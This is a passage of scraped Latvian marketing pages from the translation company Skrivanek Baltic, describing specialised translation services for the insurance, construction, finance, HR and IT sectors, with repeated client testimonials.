kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi apdrošināšanas nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu mācības. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2025-07-07 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/ - Translation Priorities: Optional Apdrošināšanas nozare ir uzticības bizness, kurā panākumus gūst tikai profesionāļi. Lai sasniegtu vēlamo rezultātu, jums ir nepieciešams partneris, kurš pārzina nozares specifiku un terminoloģiju, kā arī dažādus apdrošināšanas pakalpojumus, un spēj nodrošināt atbilstošus risinājumus. Skrivanek komandā ir tulki un tulkotāji ar pieredzi nozarē, kuri labi orientējas apdrošināšanas segmentos – nekustamā īpašuma apdrošināšanā, veselības un dzīvības apdrošināšanā, pārapdrošināšanā, apdrošināšanā uzņēmumiem, auto apdrošināšanā u. c. –, tāpēc mūsu piedāvātie pakalpojumi ir vispiemērotākie jūsu vajadzībām. Neatkarīgi no tā, vai jums nepieciešami rakstiski tulkojumi, teksta uzlabošana vai arī tulka pakalpojumi semināros un konferencēs, mēs sasniegsim vēlamo rezultātu. Mūsu speciālistu pieredze garantē, ka apdrošināšanas nozares tulkojumi atbildīs izvirzītajām prasībām. Mēs ievērojam korporatīvo komunikācijas stilu un nozares terminoloģiju, lai jūs būtu droši, ka teksts ir ne tikai korekts, bet arī palīdz radīt jūsu kompānijai vēlamo tēlu. Izvēloties Skrivanek Baltic pakalpojumus, varat būt pārliecināti, ka uzņemsimies atbildību par paveikto, neatkarīgi no tā, vai jums nepieciešams sagatavot pārdošanas materiālu paketi kādā no svešvalodām vai arī sarežģītu medicīnisko manipulāciju aprakstu. Mēs labi saprotam apdrošināšanas nozares specifiku, esam informēti par aktuālajām tendencēm un vienmēr esam gatavi apgūt arvien jaunas zināšanas, kas attiecas uz apdrošināšanas jomu. MŪSU SNIEGTIE APDROŠINĀŠANAS NOZARES TULKOŠANAS PAKALPOJUMI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: dažādus vispārējos apdrošināšanas līgumus; apdrošināšanas noteikumus un nosacījumus; uzņēmuma līgumus kolektīvai apdrošināšanai; piedāvājumus un biznesa plānus; informāciju par apdrošinātām personām un atlīdzību pieteikumus; apdrošināšanas sertifikātus; pieprasījuma veidlapas un standarta pieprasījumu apstrādes vēstules; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp biznesa tikšanās reizēs, semināros un konferencēs; visa veida mārketinga materiālus jūsu pakalpojumu popularizēšanai un skaidrošanai; kā arī citus jums nepieciešamus risinājumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE APDROŠINĀŠANAS NOZARES TULKOŠANAS PAKALPOJUMI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: dažādus vispārējos apdrošināšanas līgumus; apdrošināšanas noteikumus un nosacījumus; uzņēmuma līgumus kolektīvai apdrošināšanai; piedāvājumus un biznesa plānus; informāciju par apdrošinātām personām un atlīdzību pieteikumus; apdrošināšanas sertifikātus; pieprasījuma veidlapas un standarta pieprasījumu apstrādes vēstules; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp biznesa tikšanās reizēs, semināros un konferencēs; visa veida mārketinga materiālus jūsu pakalpojumu popularizēšanai un skaidrošanai; kā arī citus jums nepieciešamus risinājumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi būvniecības nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/ - Translation Priorities: Optional Strādājot būvniecības nozarē, jūs lieliski zināt, cik būtiska ir precizitāte un termiņu ievērošana. Jūs esat profesionāļi, kas cenšas nepieļaut atkāpes, jo saprotat, cik nozīmīgas ir nianses, un jums ir svarīgi, lai partneri savus uzdevumus uztvertu tikpat atbildīgi. Skrivanek nodrošina akurātus un tehniski precīzus rakstiskos un mutiskos tulkojumus būvniecības nozares uzņēmumiem, kā arī skrupulozi ievēro definētos izpildes termiņus. Mūsu komandā ir valodu speciālisti ar pieredzi un zināšanām būvniecības nozarei specifiskos jautājumos, turklāt mūsu pieredzējušie projektu vadītāji spēj nodrošināt raitu darba ritmu pat īpaši sarežģītos projektos. Neatkarīgi no tā, vai jums nepieciešams tulkojums rakstītam tekstam vai arī vajadzīgi tulka pakalpojumi klātienē dažādās biznesa tikšanās, Skrivanek valodu speciālisti nodrošinās kvalitatīvu rezultātu visiem tulkojamiem materiāliem, tostarp korporatīvajiem izdevumiem, konkursu nolikumiem un specifikācijām, dažādiem mārketinga materiāliem, tehnisko projektu dokumentācijai un citiem tekstiem, pēc kuriem jums radusies nepieciešamība. Mūsu valodas speciālistu komandu veido ne tikai cilvēki ar filoloģisko izglītību, bet arī speciālisti ar izglītību un pieredzi inženiertehniskajās zinātnēs, kas ir būtiski specifiskas terminoloģijas pareizā izmantošanā. Ēku celtniecība, ceļu un maģistrāļu būvniecība, dažādi specializētie būvdarbi iekštelpās, elektroinstalāciju ierīkošana, arhitektu pakalpojumi, kā arī citi būvniecības nozares darbi – mums rūp nianses, jo tikai tā var nodrošināt tehniski precīzu un visām prasībām atbilstošu tulkojumu. MŪSU SNIEGTIE PAKALPOJUMI BŪVNIECĪBAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: tehnisko dokumentāciju projektiem un atsevišķiem to posmiem; dažādus mārketinga materiālus digitālā un drukātā formātā, tostarp dažādus pārdošanas materiālus, produktu faktu lapas un bukletus; rasējumu un shēmu tulkojumus un to noformēšanu, tostarp DTP pakalpojumus; būvniecības līgumus, noteikumus un licences; tāmes un sertifikātus; tulkojumus arhitektūras nozarei; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, biznesa pusdienās vai vakariņās, kā arī darījumu tikšanās laikā; specializētās valodu mācības; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI BŪVNIECĪBAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: tehnisko dokumentāciju projektiem un atsevišķiem to posmiem; dažādus mārketinga materiālus digitālā un drukātā formātā, tostarp dažādus pārdošanas materiālus, produktu faktu lapas un bukletus; rasējumu un shēmu tulkojumus un to noformēšanu, tostarp DTP pakalpojumus; būvniecības līgumus, noteikumus un licences; tāmes un sertifikātus; tulkojumus arhitektūras nozarei; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, biznesa pusdienās vai vakariņās, kā arī darījumu tikšanās laikā; specializētās valodu mācības; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi finanšu sektora specifikai atbilstoši tulkojumi: rakstiski, mutiski, notarāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2025-07-07 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/ - Translation Priorities: Optional Jūs esat finanšu sektora profesionāļi, un jums ir nepieciešams uzticams partneris, kas saprot nozares specifiku un spēj rast kvalitatīvus risinājumus. Skrivanek nodrošina finanšu sektoram tulkošanas pakalpojumus jau vairāk nekā 25 gadus. Neatkarīgi no tā, vai jums nepieciešams iztulkot vai uzlabot rakstītu tekstu, vajadzīgi tulka pakalpojumi klātienē dažādu tikšanos vai konferenču laikā vai SEO tekstu adaptācija, Skrivanek valodu speciālisti nodrošinās kvalitatīvu rezultātu. Bankas, finanšu institūcijas, aizdevējsabiedrības un citi uzņēmumi, kas darbojas finanšu jomā, var būt pārliecināti par mūsu sniegto tulkošanas pakalpojumu kvalitāti, jo mēs pārzinām nozarē izmantoto terminoloģiju, izprotam juridiskas nianses, kā arī nepieciešamības gadījumā varam adaptēt tekstus lokālām vajadzībām. Sadarbojoties ar Skrivanek, varat būt droši, ka saņemsiet pārbaudītus risinājumus un lielisku klientu apkalpošanas kvalitāti – mūsu valodu profesionāļiem ir vairāku gadu pieredze finanšu industrijā. Mēs ļausim jums ietaupīt laiku un arī finanses, jo tulkojumos un darbā ar tekstiem izmantojam inovatīvās tehnoloģijas, turklāt nodrošinām augstākā līmeņa datu drošību, garantējot, ka informācija nenoplūdīs trešajām pusēm. Visus darbus koordinēs mūsu pieredzējušie projektu vadītāji, kuri pilnībā izprot klienta vajadzības un uz pakalpojuma sniegšanas brīdi pilnībā iekļausies jūsu komandā. Mūsu starptautiskā pieredze un plašā tulku un tulkotāju komanda spēs tikt galā ar jebkuru darba apjomu pat vissaspringtākajos termiņos. MŪSU SNIEGTIE PAKALPOJUMI FINANŠU SEKTORAM PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: visa veida mārketinga materiālus gan digitālā, gan drukātā formātā, tostarp pārdošanas materiālus, stila rokasgrāmatas, produktu faktu lapas, e-pasta kampaņas u. c. ; investīciju un tirgus ziņojumus, gada pārskatus, finanšu sektora pētījumus; dažādus līgumus, noteikumus un licences; programmatūras finanšu pakalpojumu nodrošināšanai; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, biznesa pusdienās vai vakariņās, kā arī darījumu tikšanās laikā; valodu mācības, kas ietver specializēto terminoloģiju; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI FINANŠU SEKTORAM PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: visa veida mārketinga materiālus gan digitālā, gan drukātā formātā, tostarp pārdošanas materiālus, stila rokasgrāmatas, produktu faktu lapas, e-pasta kampaņas u. c. ; investīciju un tirgus ziņojumus, gada pārskatus, finanšu sektora pētījumus; dažādus līgumus, noteikumus un licences; programmatūras finanšu pakalpojumu nodrošināšanai; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, biznesa pusdienās vai vakariņās, kā arī darījumu tikšanās laikā; valodu mācības, kas ietver specializēto terminoloģiju; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi cilvēkresursu (HR) nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2025-07-07 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/ - Translation Priorities: Optional Strādājot cilvēkresursu (HR) nozarē, jūsu mērķis ir atrast un uzrunāt izcilākos savas jomas profesionāļus, kuri spētu un vēlētos sniegt savu ieguldījumu jūsu pārstāvētajos projektos. Skrivanek komandā ir apvienojušies valodu nozares profesionāļi, kuri palīdzēs jums atrast īstos vārdus svešvalodā, lai jūs varētu izvēlēties sadarbībai savas jomas izcilniekus. Īpaši svarīgi tas ir gadījumos, kad jāatrod darbinieki, kuriem jāspēj komunicēt dažādās valodās – ar mūsu izstrādāto unikālo FOCUS rīku jūs ātri un efektīvi varēsiet noteikt kandidātu spēju sazināties svešvalodās, kā arī precīzi noteikt viņu svešvalodu zināšanu līmeni. Ja nepieciešams uzlabot jau esošo darbinieku valodu zināšanas, jūs gaidīs Mācību centrs Skrivanek, kurā iespējams apgūt svešvalodas dažādos līmeņos un intensitātes pakāpēs. Mūsu Mācību centra kvalitātes apliecina fakts, ka tieši mēs nodrošinājām intensīvos valodu kursus ierēdņiem, lai sagatavotu viņus darbam Latvijas prezidentūrā Eiropas Savienības Padomē. Cilvēkresursu nozarē būtiska ir spēja nodot saviem darbiniekiem vienotu vēstījumu par kompānijas vērtībām neatkarīgi no tā, kurā valodā norisinās saziņa. Skrivanek valodu speciālisti nodrošinās precīzus tekstus ikvienā no Eiropā plaši izmantotajām valodām gan rakstiski, gan mutvārdos, turklāt parūpēsies, lai doma nepazustu tulkojumā. Skrivanek tulkotāji nodrošinās kvalitatīvus tulkojumus visiem jums nepieciešamajiem materiāliem, tostarp darba līgumiem, uzņēmuma noteikumiem, iekšējiem korporatīvajiem ziņojumiem, kā arī citiem vēstījumiem. Mūsu valodu speciālisti lieliski pārzina dažādu kultūru un vietējo tirgu atšķirības, lai radītu tekstus specifiskai auditorijai jebkurā valstī vai valodā, turklāt mēs spējam pielāgot tekstus, lai tie būtu uztverami ikvienai mērķauditorijai. MŪSU SNIEGTIE PAKALPOJUMI CILVĒKRESURSU NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: darba līgumus un citas vienošanās; dalību darba intervijās un kandidātu valodu prasmju novērtēšanu; iekšējos kārtības noteikumus; iekšējās aprites komunikācijas materiālus; atsauksmes vēstules; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, biznesa pusdienās vai vakariņās, kā arī darījumu tikšanās laikā; FOCUS risinājumu personāla atlasei; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI CILVĒKRESURSU NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: darba līgumus un citas vienošanās; dalību darba intervijās un kandidātu valodu prasmju novērtēšanu; iekšējos kārtības noteikumus; iekšējās aprites komunikācijas materiālus; atsauksmes vēstules; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, biznesa pusdienās vai vakariņās, kā arī darījumu tikšanās laikā; FOCUS risinājumu personāla atlasei; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi IT un spēļu nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2025-07-07 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/ - Translation Priorities: Optional Informācijas tehnoloģiju (IT) nozare runā pati savā valodā. Jūs kā IT nozares speciālisti zināt, cik svarīga ir precīza terminoloģija saziņā ar kolēģiem un cik būtiski ir pēc iespējas vienkārši nodot informāciju gala lietotājam. Skrivanek valodu speciālisti spēj uzbūvēt tiltu starp IT speciālistiem un klientiem, radot tekstus, kas ir lietotājam draudzīgi un viegli izprotami. Skrivanek nodrošina akurātus un precīzus rakstiskos un mutiskos tulkojumus IT un spēļu nozares uzņēmumiem, kā arī precīzi ievēro definētos izpildes termiņus. Mūsu komandā ir pieredzējuši valodu speciālisti, kuri pārzina IT nozares terminoloģiju un seko līdzi tās novitātēm, kā arī spēj precīzi aprakstīt produktu tehniskās specifikācijas. Neatkarīgi no tā, vai jums nepieciešams tulkojums rakstītam tekstam, valodu mācības eksporta tirgu apgūšanai vai arī vajadzīgi 